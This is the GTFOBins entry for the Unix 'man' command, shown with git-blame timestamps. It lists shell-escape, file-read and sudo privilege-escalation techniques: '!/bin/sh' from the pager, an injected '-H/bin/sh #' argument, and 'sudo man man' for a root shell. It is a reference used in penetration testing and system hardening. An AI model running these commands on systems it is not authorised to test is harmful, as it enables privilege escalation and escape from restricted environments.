GTFOBins.github.io/_gtfobins/man.md

18 lines
444 B
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
2021-02-05 13:41:12 +01:00
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
2018-05-21 21:14:41 +02:00
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- code: |
2021-02-27 17:09:41 +01:00
man man
!/bin/sh
- description: This only works for GNU `man` and requires GNU `troff` (`groff` to be installed).
code: |
man '-H/bin/sh #' man
2018-07-04 20:26:52 +02:00
file-read:
2018-07-16 15:01:50 +02:00
- code: man file_to_read
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- code: |
sudo man man
!/bin/sh
---